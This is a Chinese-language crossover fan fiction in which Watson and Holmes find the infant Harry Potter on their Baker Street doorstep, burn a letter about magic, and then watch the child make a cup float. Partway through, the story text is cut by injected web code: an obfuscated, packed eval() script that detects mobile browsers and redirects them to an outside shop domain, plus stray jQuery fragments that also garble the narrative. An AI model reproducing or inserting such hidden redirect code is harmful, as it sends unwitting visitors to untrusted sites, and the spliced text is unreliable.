在我与夏洛克·福尔摩斯共同生活的那些年里，贝克街二二一B号收到过许多不寻常的东西。其中有一只装着两枚人类牙齿的烟盒，一条几乎使哈德森太太辞退我们的小蛇，以及一份寄件人坚称必须浸在牛奶里阅读的遗嘱。
然而，在一八八一年那个有雾的十一月夜晚以前，我们还从未收到过一个孩子。
那天晚上，我的朋友正在研究烟灰。
为了这项研究，他占用了餐桌、两只茶碟，以及我原本打算吃完的半块面包周围的全部空间。我曾指出，将四种烟草的灰烬排列在晚餐旁边，并不能改善它们各自的气味。他对此表示同意，随即把第五种倒了出来。
到九点半时，我放弃了晚餐，坐到壁炉旁看报。
福尔摩斯蜷在对面的扶手椅里，手中拿着放大镜，膝盖上是一张写满了字的纸。他的拖鞋尖抵着炉栅，一只长而瘦削的手偶尔伸向烟草罐。我注意到，他每次伸手，都不需要把眼睛从纸上移开。
“你知道吗，”我说，“哈德森太太下午问过我，餐桌上的东西是不是会传染。”
“你怎么回答？”
“我说不会。”
“完全正确。”
“我还说，晚饭以后就能清理干净。”
他抬起头来。
“我的好华生，你不应该对自己尚未掌握的事情作出如此肯定的判断。”
门铃恰好在这时响了。
我把报纸折起来。
“这件事至少是可以肯定的。有人来了。”
福尔摩斯看了一眼钟。
“九点四十三分。恐怕不是个好消息。”
“你又是怎么知道的？”
“因为好消息通常不至于使人在这样的天气里出门。”
我承认，这一次他的解释颇能令人信服。
那晚的雾浓得出奇。它不仅封住了窗外的街道，仿佛还从门缝和窗框间慢慢渗进屋里，使灯焰周围浮着一圈淡黄色的晕。外面每隔几分钟便传来一阵车轮声，然而从窗口望去，连街对面的门牌都瞧不见。
哈德森太太已经回了自己的房间。我拿起烛台下楼，心想，无论门外的来客带来什么麻烦，只要他肯让我的朋友暂时离开那些烟灰，我都会真诚地欢迎他。
门外没有人。
我将烛台举高，向左右望了望。一辆马车正在街口转弯，红色尾灯很快便没入雾中。近处只有滴水的栏杆和一段湿亮的人行道。
“有人吗？”
没有回答。
随后，我听见脚边发出一声很轻的哼唧。
门阶上放着一只柳条篮子。它靠着门框，位置很巧，我开门时几乎没有碰到。篮柄用一块布巾缠着，边缘盖了一条深色毛毯。刚才的声音，正是从毯子下面传出来的。
我俯身掀开一角。
一双眼睛望着我。
我有过行医和随军的经历，自认不至于在突发状况面前失去镇定。但我必须承认，发现一个活生生的孩子躺在自家门阶上，与在病房中遇见一位事先挂好号的病人，仍然是很不相同的。
孩子的鼻尖冻得通红。他张了张嘴，仿佛打算提出某种抗议，却只发出一声疲倦的抽噎。一只小手从毯子里伸出来，抓住了我的袖口。
那只手冰凉。
我立即将烛台放在地上，伸手把他抱了起来。
“福尔摩斯！”
“什么事？”
“请你下来！”
我的声音想必有些异样，因为这一次，他的脚步来得很快。
“受伤了，华生？”
“不是我。”
他停在最后一级台阶上，目光从我的脸移到怀里的孩子，又移到空了大半的篮子上。
“啊。”他说。
在这种情况下，我原本指望听到一点更有帮助的话。
“有人把他放在这里。”
“显然如此。”
“而且已经走了。”
“看来也是如此。”
我正要指出，我们并不需要一位咨询侦探来确立这两个事实，他已经弯下腰，用手背碰了碰孩子的脸。
“上楼去。他冷得厉害。”
这句话使我暂时原谅了他。
哈德森太太披着披肩从房里走出来，一看见孩子，便发出一声惊呼。此后约有半分钟，她连续提出了六七个问题，而我们一个也答不上来。
这丝毫没有妨碍她采取行动。
“医生，把他抱到火边去。福尔摩斯先生，把门关上。孩子的东西呢？只有这一个篮子？可怜的小东西——不，先生，您别再碰他的脸了，您的手上全是灰。”
福尔摩斯看了一眼自己的手指，服从了。
***
孩子大约一岁多，比我起初以为的要大。他被紧紧裹在毯子里，篮子又窄，使他看上去还像个很小的婴儿。
到了起居室，他开始哭了。
那哭声起初很低，断断续续，随后因为我试图拿走他身上的旧毯子而变得响亮起来。他用双手攥住毯角，哭得气也换不过来。我只得重新把那一角塞回他怀里。
他立即安静了些，仍旧抽噎着，戒备地瞧着我。
“他不愿意换掉它。”我说。
“那就先留着。”哈德森太太回答，“人家已经不知道自己在哪儿了，总得给他留一样认得的东西。”
她去准备热水和牛奶。我开始检查孩子有没有受伤。
他的衣服质地不错，针脚也细密，只是领口沾着污迹，袖子被揉得皱巴巴的。头发又黑又乱，一绺贴在额前。我把它拨开，发现下面有一道伤痕。
“福尔摩斯。”
他已经站在我身后。
伤痕很细，在额头上折了两个角，颇像孩子会在纸上画出的闪电。边缘还有暗红色的痕迹，周围却几乎没有擦伤。
“你怎么看？”他问。
“形成不久。但现在很难判断是什么造成的。”
“玻璃？”
“有可能。形状有些古怪。”
孩子躲开我的手，把脸埋在我胸前，随即又抬起头来。他看到了我的表链。
在接下来的几秒里，他对伤口的关切完全让位于对怀表的兴趣。
“至少精神还好。”我说，一边把链子从他嘴边挪开。
福尔摩斯把篮子提到桌上。
里面有一个纸包，两件小衣服，一只磨得光滑的木环，以及几页折起的信纸。没有钱，也没有地址卡。
他先将信放到一边，检查了篮底。
“放在门外的时间不长。内侧还是干的，篮底也没有浸透。”
“你在街上看见人了吗？”
“我出去时，只剩一辆马车的声音。附近的巡警没有发现异常，我请他留意是否有人在找孩子。”
他拿起信纸。
最外面是一张小便笺，字写得很急。其中有一句被划掉了，下一句几乎挤出纸边。
他读了一遍，递给我。
上面写着：
“他叫哈利·波特。他的父母都死了。我不能养他。请不要把他再送回来。”
我将那几行字又看了一遍。
“没有署名。”
“也没有说明该送回哪里。”
“可怜的孩子。”
他坐在我膝上，并不知道我们正在讨论什么，只是坚持不懈地试图够到表链。
福尔摩斯展开里面较长的信。那封信有几页，字迹与便笺完全不同，纸也更厚。我当时忙着把孩子的一只脚从毯子里找出来，没有立刻留意我朋友的神情。
等我抬头时，他已经皱起了眉。
“有什么发现？”
“全名。哈利·詹姆·波特。去年七月三十一日出生。”
“十五个月。”
“父母于几天前遇害。”
“遇害？”
他点了点头。
我不由得重新看向孩子额前的伤。
“是谁下的手？”
“信中有一个名字，但没有我能立刻辨认的身份。随后，事情就变得荒唐起来了。”
“怎么回事？”
“写信的人声称，这个孩子是一位巫师。”
我望着他，等他继续说下去。
“并且，”福尔摩斯将纸翻过一页，“他的母亲以某种方式保护了他，使他躲过了一次魔法袭击。这里还谈到了血缘、咒语和需要维持的保护。”
孩子开始咬毯角。
“也许那是他们形容某种——”
“我向你保证，华生，并非比喻。”
他又迅速读了一遍，把几页纸合在一起。
“有人失去了父母，另一个人不愿承担责任，于是借助这类故事使自己的行为显得别有缘由。类似的解释我在警察局听过许多种，只是通常没有这么长。”
“把信给我看看。”
孩子恰好在这时向前一扑。我慌忙扶住他，免得他从膝上滑下去。
等我重新抬头，福尔摩斯已经走到了壁炉前。
“等等——”
他把信扔进了火里。
纸边立即卷了起来。
“福尔摩斯！那也是证物。”
“内容我已经记住了。”
“内容并不是一张纸上唯一有用的东西。你自己说过这句话。”
他看了看我。我想，他意识到我这次说得很有道理，但尚未准备承认。
“若这封信肯多写一个地址，少写几页咒语，我们今晚的工作会容易得多。”
“可你还没有证实它全是胡话。”
我的朋友稍稍扬起眉毛。
“魔法，”他说，“是懒于观察者为他们不肯费神去看的东西取的名字。”
哈利在这时响亮地打了个嗝。
我很遗憾自己笑了出来。
***
哈德森太太端着托盘回来时，局面已经有了明显改善。
孩子喝到了温牛奶，被换上干净的衣物，旧毯子的一角仍然留在他手边。哈德森太太还从楼下找出一条柔软的披巾，声称这个夜晚没有哪个孩子应该只靠我们两个男人决定自己穿多少。
对此，我没有异议。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971714|214669||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
福尔摩斯的餐桌则遭受了严重损失。五种烟灰被移到了窗边，放大镜退守壁炉架，化学期刊下面压上了那张没有烧掉的便笺。
“至少今晚，他得睡在这里。”我说。
“自然。”
我原本预备了一些理由，因此一时竟不知道怎样继续。
“明天我们得通知适当的人，核查姓名，寻找亲属。”
“自然。”他又说。
“在确认之前，不能随便把他交给谁。”
“华生，如果你仍然需要反对意见，我恐怕帮不了你。”
哈德森太太抬起头。
“既然你们已经商量好了，他睡哪里？”
屋里安静了下来。
孩子坐在她膝上，满足地舔了舔嘴唇。
“我的床可以——”我开口。
“不能让他一个人躺在那么高的床上，医生。”
“沙发呢？”福尔摩斯问。
“会掉下来。”
福尔摩斯转头打量自己的起居室。那间曾经容纳过各种危险化学品、可疑来客和一只体形颇大的猎犬的房间，忽然显得没有一处能安放这个孩子。
最后，哈德森太太找到了一只结实的大衣箱。我们铺好干净被褥，将它放在我的床边。她检查过箱盖的固定方式，又亲自试了试里面是否暖和。
做完这些，她才坐下来喝一杯茶。
福尔摩斯拿起桌上的木环，准备放回孩子身边。
哈利抓住了木环，也抓住了他的手指。
我看见我的朋友停住了。
他对待危险动物时向来沉着，对待这只小手却显得不大有把握。他试着向外抽了一下，哈利立即皱起脸。
“等一会儿。”哈德森太太说。
福尔摩斯只得弯着腰，维持那个很不舒服的姿势。
孩子审视着他。
他也审视着孩子。
“握力不错。”过了一会儿，他说。
“是的。”我回答。
“而且已经能够辨认自己想要的物品。”
“显然如此。”
他听出了我的语气，抬眼看了过来。
我低头喝茶，觉得这杯茶格外可口。
***
后来，哈德森太太去楼下收拾东西，我抱着哈利在壁炉前慢慢走动。
他已经开始犯困，脑袋时而靠在我肩上，时而又顽强地抬起来。他像是担心自己只要闭一会儿眼睛，醒来时周围的人和房间就会再次换掉。
福尔摩斯正在查看那两件小衣服。
“送他来的人未必是他的母亲。”他说。
“信里不是说——”
“信里说的事情还有待核实。”
“我很高兴你终于如此谨慎。”
他没有理会我的讽刺。
“衣服上的修补针脚很细，临时包在外面的布巾却打了一个相当潦草的结。准备这些衣物的人，与今晚把孩子放进篮子里的人，可能并不是同一个。”
我看向怀里的孩子。
他的脸已经暖了，眼睛在灯下呈现出清澈的绿色。
“你认为能找到他的亲人吗？”
“波特不是个罕见姓氏。但完整姓名、出生日期、近期死亡的夫妇，再加上这道伤，已经足够开始了。”
他说得平静。我很熟悉这种语气：一旦事情具有可以查明的细节，我的朋友便会觉得它已经向解决迈进了一大步。
我也因此稍稍安心。
就在这时，哈利看见了桌上的小杯子。
他直起身，伸出一只手。
“你已经喝完了。”我告诉他。
他不接受这个解释。
福尔摩斯随手将杯子挪到壁炉架上，以便继续检查桌上的东西。
孩子的手伸得更远了。
我弯腰去捡掉在地毯上的木环，打算用它转移他的注意力。
“华生。”
我的朋友叫了一声。
我听得出，那不是普通的招呼。
我抬起头。
杯子悬在壁炉架前。
它的底部与木架之间有一段清楚的空隙。我看得见那道空隙后面的墙纸，也看得见杯柄在灯光中微微转动。
我没有听见自己说话，尽管我相信我当时确实张开了嘴。
杯子向我们移了过来。
哈利不再哼唧了。他满怀期待地伸着两只手，仿佛我们终于听懂了一个再简单不过的要求。
福尔摩斯先我一步伸出手，接住了它。
一切重新安静下来。
孩子不满地看着他。
我低头看了看孩子，又看了看杯子。
福尔摩斯将杯子翻过来，检查杯底，随后看向壁炉架，又看向地毯。他的目光最后停在了火上。
那封信已经烧完了。
“华生，”他说。
“我看见了。”
“很好。”
他把杯子放到桌子中央，缓缓拉过一张椅子。
“现在，请你准确地告诉我，你看见了什么。”